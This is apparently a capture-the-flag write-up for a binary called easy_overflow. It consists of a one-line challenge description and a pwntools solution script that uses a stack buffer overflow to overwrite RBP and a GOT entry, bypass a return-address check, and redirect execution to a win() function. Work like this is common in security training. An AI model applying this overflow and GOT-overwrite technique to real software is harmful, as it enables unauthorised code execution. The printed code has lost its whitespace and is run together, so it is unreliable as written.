I did a check on my return address. Now you shouldn't be able to control my RIP.
Solution
from pwn import*# Allows you to switch between local/GDB/remote from terminaldefstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)# Specify GDB script here (breakpoints etc)gdbscript ='''init-pwndbgbreak *0x4011cabreak *0x401247continue'''.format(**locals())# Binary filenameexe ='./easy_overflow'# This will automatically get context arch, bits, os etcelf = context.binary =ELF(exe, checksec=False)# Change logging level to help with debugging (error/warning/info/debug)context.log_level ='debug'# ===========================================================# EXPLOIT GOES HERE# ===========================================================# Start programio =start()# Build the payloadpayload =flat([b'A'*32, # Pad to stack# Overwrite RBP with address of got.gets() elf.got.gets, # This will become got.puts0x401212# Address required to meet RIP check])# Send the payloadio.sendlineafter(b'I will let you overflow me.', payload)# Write the address of win() into puts()io.sendlineafter(b'I will give you one more chance.', flat(elf.functions.win))# Got Flag?io.interactive()